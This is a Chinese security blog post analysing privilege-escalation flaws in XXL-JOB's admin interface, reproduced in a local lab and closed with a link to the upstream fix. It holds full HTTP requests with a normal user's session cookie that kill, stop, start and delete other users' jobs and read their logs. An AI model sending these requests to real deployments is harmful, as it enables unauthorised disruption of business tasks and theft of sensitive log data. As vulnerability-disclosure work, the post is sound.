XXL-JOB 越权漏洞分析

漏洞简介

XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。 这次介绍的漏洞属于水平越权漏洞,简单来说就是,一个没有任何任务管理权限的用户,只要登录了系统后,就能构造请求来操作其他人的任务。

受影响的接口包括:

001.jpg

XXL-JOB 的权限控制分两层:

  1. 全局拦截器:通过 PermissionInterceptor 检查用户是否登录

  2. 方法级注解:通过 @PermissionLimit 注解控制是否需要管理员权限

问题出现于:在接口处既没有加 @PermissionLimit 注解要求管理员权限,方法内部也没有校验用户对具体任务的操作权限。

漏洞验证&分析

管理员登录后台并创建一个无任何权限的普通用户

image

image

根据日志id 越权停止启动进程 logKill

根据 https://developer.aliyun.com/article/1649153?spm=a2c6h.24874632.expert-profile.57.1c5939ad7RZU4e 创建一个 XXL-JOB 执行器,属于正常业务功能

为了方便展示效果我们配置一个 jobTest1Handler

@XxlJob("jobTest1Handler")
    public void jobTest1Handler() {
        try {
            System.out.println("jobTest1Handler 开始执行 - " + new Date());
​
            for (int i = 1; i <= 100000; i++) {
                // 检查线程是否被中断
                if (Thread.currentThread().isInterrupted()) {
                    System.out.println("任务被中断,退出循环");
                    return;
                }
​
                System.out.println("jobTest1Handler - 第" + i + "次执行 - 定时任务执行时间:" + new Date());
                Thread.sleep(1000);
            }
​
            System.out.println("jobTest1Handler 执行完成 - " + new Date());
​
        } catch (InterruptedException e) {
            System.err.println("任务被中断:" + e.getMessage());
            Thread.currentThread().interrupt();
        }
    }

管理员登录后台后将任务部署并执行

image

image

image

我们看到执行器项目中已经开始执行并打印处日志信息

image

此时我们登录普通用户的账号信息

image

是没有对任务调度的任何操作权限

【----帮助网安学习,以下所有学习资料免费领!加vx:YJ-2021-1,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

构造数据包

GET /xxl-job-admin/joblog/logKill?id=1225 HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8080/xxl-job-admin/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a226365736869222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a22227d
Connection: close

image

执行的任务信息被中断

image

此时对应的 id 1225 是 任务 job_id 5 对应此时启动的日志 id

image

src/main/java/com/xxl/job/admin/controller/interceptor/WebMvcConfig.java

image

通过 WebMvcConfig 配置,PermissionInterceptor 作为全局拦截器对所有请求路径(/**)进行拦截。

com.xxl.job.admin.controller.interceptor.PermissionInterceptor#preHandle

image

在 preHandle 方法中,拦截器会检查目标方法是否标注了 @PermissionLimit 注解来决定是否需要登录验证和管理员权限。如果需要登录,会调用 loginService.ifLogin() 验证用户身份,未登录用户会被重定向到登录页面;已登录用户信息会存储在 request 属性中供后续使用。

com.xxl.job.admin.controller.JobLogController#logKill

image

在 XXL-Job 的权限体系中,如果一个接口方法没有标注 @PermissionLimit 注解,那么该方法会受到全局 PermissionInterceptor 的默认保护,即要求用户必须登录(needLogin \= true)但不要求管理员权限(needAdminuser \= false)。因此 logKill 方法虽然需要登录验证,但任何普通登录用户都可以访问,这就形成了一个权限漏洞:普通用户可以终止任何任务,而不受 JobGroup 权限限制或管理员角色限制。正确的做法应该是在 logKill 方法中添加 PermissionInterceptor.validJobGroupPermission() 调用来验证用户对特定任务组的权限,或者要求管理员权限才能执行终止操作。

根据日志id 越权查看日志信息 logDetailCat

image

是没有对调度日志的任何操作权限

普通用户登录后 构造数据包

GET /xxl-job-admin/joblog/logDetailCat?logId=1225&fromLineNum=1 HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8080/xxl-job-admin/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a226365736869222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a22227d
Connection: close
​

image

现在看到的,是 XXL-JOB 框架的日志,信息量似乎不大。但是,如果这个任务的业务逻辑是这样的:

@XxlJob("processOrderJob")
public void processOrderJob() {
    // 1. 从数据库查询待处理订单
    Order order \= orderDao.getPendingOrder();
    XxlJobHelper.log("开始处理订单,订单号:{}", order.getOrderId());
​
    // 2. 调用第三方支付接口
    PaymentResult result \= paymentService.process(order);
    XxlJobHelper.log("支付接口返回,用户ID:{},手机号:{}", order.getUserId(), order.getPhoneNumber());
​
    // 3. 更新订单状态
    orderDao.updateStatus(order.getOrderId(), "SUCCESS");
    XxlJobHelper.log("订单处理完成,地址:{}", order.getAddress());
}

如果 logId\=1 对应的是这样一个任务,那么通过 /logDetailCat 漏洞,获取到的 logContent 就会变成: 开始处理订单,订单号:202508190001 支付接口返回,用户ID:10086,手机号:13812345678 订单处理完成,地址:上海市浦东新区xxx路xxx号

这就是这个漏洞最直接、最严重的危害: 无论是否有权限,都可以实时窃取到系统中任意一个任务在执行过程中打印的任何信息,其中极有可能包含用户隐私、订单数据、内部接口参数等核心业务敏感信息。

com.xxl.job.admin.controller.JobLogController#logDetailCat

image

logDetailCat 方法存在权限设计缺陷。该方法没有标注 @PermissionLimit 注解,因此只受到全局权限拦截器的默认保护,仅要求用户登录但不验证具体权限。这意味着任何登录用户都可以通过传入任意的 logId 参数来查看任何任务的执行日志详情,包括不属于自己权限范围内的 JobGroup 的任务日志,从而可能泄露敏感的业务信息、配置参数或执行结果。正确的做法应该是在方法中添加 PermissionInterceptor.validJobGroupPermission(request, jobLog.getJobGroup()) 来验证用户是否有权限查看该任务所属组的日志信息

根据任务id 越权启动、停止、删除任务

根据 https://developer.aliyun.com/article/1649153?spm=a2c6h.24874632.expert-profile.57.1c5939ad7RZU4e 创建一个 XXL-JOB 执行器,属于正常业务功能

为了方便展示效果我们配置一个 jobTestHandler

    @XxlJob("jobTestHandler")
    public void jobTestHandler() {
        System.out.println("hello World!" + "- " + "定时任务执行时间:" +new Date());
    }

管理员登录后台后将任务部署并执行

image

image

image

image

启动成功后 执行器项目中已经开始执行并打印处日志信息

image

此时我们登录普通用户的账号信息

image

是没有对任务调度的任何操作权限

以普通用户的权限构造数据包

GET /xxl-job-admin/jobinfo/stop?id=4 HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8080/xxl-job-admin/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a226365736869222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a22227d
Connection: close
​
​

image

image

每秒执行的项目停止

再构造数据包

GET /xxl-job-admin/jobinfo/start?id=4 HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8080/xxl-job-admin/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a226365736869222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a22227d
Connection: close
​
​

image

项目重新启动成功

image

构造数据包

GET /xxl-job-admin/jobinfo/remove?id=4 HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8080/xxl-job-admin/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a226365736869222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a22227d
Connection: close

image

image

任务被删除

src/main/java/com/xxl/job/admin/controller/JobInfoController.java

image

src/main/java/com/xxl/job/admin/service/XxlJobService.java

image

com.xxl.job.admin.service.impl.XxlJobServiceImpl#remove

image

com.xxl.job.admin.service.impl.XxlJobServiceImpl#start

image

com.xxl.job.admin.service.impl.XxlJobServiceImpl#stop

image

remove、stop 和 start 三个方法都存在相同的权限设计缺陷。这些方法均没有标注 @PermissionLimit 注解,因此只受到全局权限拦截器的默认保护,仅要求用户登录但不验证具体权限。这意味着任何普通登录用户都可以对任意定时任务执行删除、停止或启动操作,完全绕过了 JobGroup 权限限制。其中 remove 方法的风险最高,允许用户删除任何任务及其相关数据;stop 和 start 方法则允许用户随意控制任务的执行状态,可能中断重要业务流程或启动危险任务。正确的做法应该是在这些方法中都添加 PermissionInterceptor.validJobGroupPermission() 调用来验证用户对目标任务所属组的权限,确保用户只能操作自己有权限管理的任务。

漏洞修复

修复的核心思路就是:在执行敏感操作之前,先验证当前登录用户是否对目标任务所属的 JobGroup 有操作权限。

  1. 在 Controller 层,对 remove、stop、start 方法增加了获取当前登录用户的逻辑

  2. 在 Service 层,对接口方法增加了 XxlJobUser loginUser 参数

  3. 在 ServiceImpl 层, 对 remove、stop、start 方法增加了权限校验逻辑 hasPermission

https://github.com/xuxueli/xxl-job/pull/3792/commits/739d6a2483ce8f6c2a824098fbddb0f90087fba6

image

image

image

更多网安技能的在线实操练习,请点击这里>>

  

posted @ 2026-01-21 15:29  蚁景网安实验室  阅读(6)  评论(0)    收藏  举报